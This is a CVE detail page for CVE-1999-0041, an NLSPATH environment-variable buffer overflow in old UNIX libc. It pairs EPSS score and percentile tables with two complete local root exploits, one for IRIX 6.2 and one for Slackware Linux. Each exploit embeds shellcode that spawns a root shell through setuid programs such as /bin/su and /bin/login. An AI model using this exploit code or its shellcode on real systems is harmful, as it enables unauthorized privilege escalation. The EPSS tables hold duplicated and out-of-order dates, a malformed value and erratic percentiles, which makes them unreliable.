CVE-1999-0041 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	0.81%	–
2023-07-16	–	–	–	0.81%	–
2024-02-11	–	–	–	0.6%	–
2024-06-02	–	–	–	0.6%	–
2024-06-30	–	–	–	0.6%	–
2024-12-22	–	–	–	0.6%	–
2025-02-16	–	–	–	0.6%	–
2025-01-19	–	–	–	0.6%	–
2025-02-16	–	–	–	0.6%	–
2025-03-18	–	–	–	–	7.18%
2025-03-18	–	–	–	–	7.18,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	79%
2023-07-16	8%
2024-02-11	78%
2024-06-02	78%
2024-06-30	79%
2024-12-22	78%
2025-02-16	79%
2025-01-19	78%
2025-02-16	79%
2025-03-18	91%
2025-03-18	91%

/* source: https://www.securityfocus.com/bid/711/info Cray UNICOS 9.0/9.2/MAX 1.3/mk 1.5,AIX <= 4.2,Linux libc <= 5.2.18,RedHat 4.0,IRIX 6.2,Slackware 3.1 Natural Language Service (NLS) Vulnerability (1) A buffer overflow condition affects libraries using the Natural Language Service (NLS). The NLS is the component of UNIX systems that provides facilities for customizing the natural language formatting for the system. Examples of the types of characteristics that can be set are language, monetary symbols and delimiters, numeric delimiters, and time formats. Some libraries that use a particular environment variable associated with the NLS contain a vulnerability in which a buffer overflow condition can be triggered. The particular environment variable involved is NLSPATH on some systems and PATH_LOCALE on others. It is possible to exploit this vulnerability to attain unauthorized access by supplying carefully crafted arguments to programs that are owned by a privileged user-id and that have setuid or setgid bits set. */ /*## copyright LAST STAGE OF DELIRIUM sep 1997 poland *://lsd-pl.net/ #*/ /*## libc.so $NLSPATH #*/ #define NOPNUM 768 #define ADRNUM 176 #define TMPNUM 200 char setreuidcode[]= "\x30\x0b\xff\xff" /* andi $t3,$zero,0xffff */ "\x24\x02\x04\x01" /* li $v0,1024+1 */ "\x20\x42\xff\xff" /* addi $v0,$v0,-1 */ "\x03\xff\xff\xcc" /* syscall */ "\x30\x44\xff\xff" /* andi $a0,$v0,0xffff */ "\x31\x65\xff\xff" /* andi $a1,$t3,0xffff */ "\x24\x02\x04\x64" /* li $v0,1124 */ "\x03\xff\xff\xcc" /* syscall */ ; char shellcode[]= "\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */ "\x24\x02\x03\xf3" /* li $v0,1011 */ "\x23\xff\x01\x14" /* addi $ra,$ra,276 */ "\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */ "\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */ "\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */ "\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */ "\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */ "\x03\xff\xff\xcc" /* syscall */ "/bin/sh" ; char jump[]= "\x03\xa0\x10\x25" /* move $v0,$sp */ "\x03\xe0\x00\x08" /* jr $ra */ ; char nop[]="\x24\x0f\x12\x34"; main(int argc,char **argv){ char buffer[10000],adr[4],tmp[4],*b,*envp[2]; int i,n=-1; printf("copyright LAST STAGE OF DELIRIUM sep 1997 poland //lsd-pl.net/\n"); printf("libc.so $NLSPATH for irix 6.2 IP:17,19,20,21,22\n\n"); if(argc!=2){ printf("usage: %s {login|who|netprint|ordist|cancel|route|" "at}\n",argv[0]); exit(-1); } if(!strcmp(argv[1],"login")) n=0; if(!strcmp(argv[1],"who")) n=1; if(!strcmp(argv[1],"netprint")) n=2; if(!strcmp(argv[1],"ordist")) n=3; if(!strcmp(argv[1],"cancel")) n=4; if(!strcmp(argv[1],"route")) n=5; if(!strcmp(argv[1],"at")) n=6; if(n==-1) exit(-1); *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+8492+1800; *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+8492-1024; envp[0]=buffer; envp[1]=0; b=buffer; sprintf(b,"NLSPATH="); b+=8; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; *b++=0xff; for(i=0;i<TMPNUM;i++) *b++=tmp[i%4]; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; *b=0; switch(n){ case 0: execle("/bin/login","lsd",0,envp); case 1: execle("/sbin/who","lsd",0,envp); case 2: execle("/usr/lib/print/netprint","lsd",0,envp); case 3: execle("/usr/bsd/ordist","lsd",0,envp); case 4: execle("/usr/bin/cancel","lsd",0,envp); case 5: execle("/usr/etc/route","lsd","add",0,envp); case 6: execle("/usr/bin/at","lsd","bzz",0,envp); } }

/* source: https://www.securityfocus.com/bid/711/info Cray UNICOS 9.0/9.2/MAX 1.3/mk 1.5,AIX <= 4.2,Linux libc <= 5.2.18,RedHat 4.0,IRIX 6.2,Slackware 3.1 Natural Language Service (NLS) Vulnerability (2) A buffer overflow condition affects libraries using the Natural Language Service (NLS). The NLS is the component of UNIX systems that provides facilities for customizing the natural language formatting for the system. Examples of the types of characteristics that can be set are language, monetary symbols and delimiters, numeric delimiters, and time formats. Some libraries that use a particular environment variable associated with the NLS contain a vulnerability in which a buffer overflow condition can be triggered. The particular environment variable involved is NLSPATH on some systems and PATH_LOCALE on others. It is possible to exploit this vulnerability to attain unauthorized access by supplying carefully crafted arguments to programs that are owned by a privileged user-id and that have setuid or setgid bits set. --- nlspath.c --- */ /* * NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1 * Copyright (c) 1997 by Solar Designer */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> char *shellcode = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1" "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04" "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb" "\xcd\x80/" "/bin/sh" "0"; char *get_sp() { asm("movl %esp,%eax"); } #define bufsize 2048 char buffer[bufsize]; main() { int i; for (i = 0; i < bufsize - 4; i += 4) *(char **)&buffer[i] = get_sp() - 3072; memset(buffer, 0x90, 512); memcpy(&buffer[512], shellcode, strlen(shellcode)); buffer[bufsize - 1] = 0; setenv("NLSPATH", buffer, 1); execl("/bin/su", "/bin/su", NULL); } --- nlspath.c --- And the shellcode separately: --- shellcode.s --- .text .globl shellcode shellcode: xorl %eax,%eax movb $0x31,%al int $0x80 xchgl %eax,%ebx xorl %eax,%eax movb $0x17,%al int $0x80 .byte 0x68 popl %ecx popl %eax jmp *%ecx call *%esp xorl %eax,%eax cltd movl %ecx,%edi movb $'/'-1,%al incl %eax scasb %es:(%edi),%al jne -3 movl %edi,(%ecx) movl %edx,4(%ecx) movl %edi,%ebx incl %eax scasb %es:(%edi),%al jne -3 movb %dl,-1(%edi) movb $0x0B,%al int $0x80 xorl %eax,%eax incl %eax xorl %ebx,%ebx int $0x80 .byte '/' .string "/bin/sh0" --- shellcode.s ---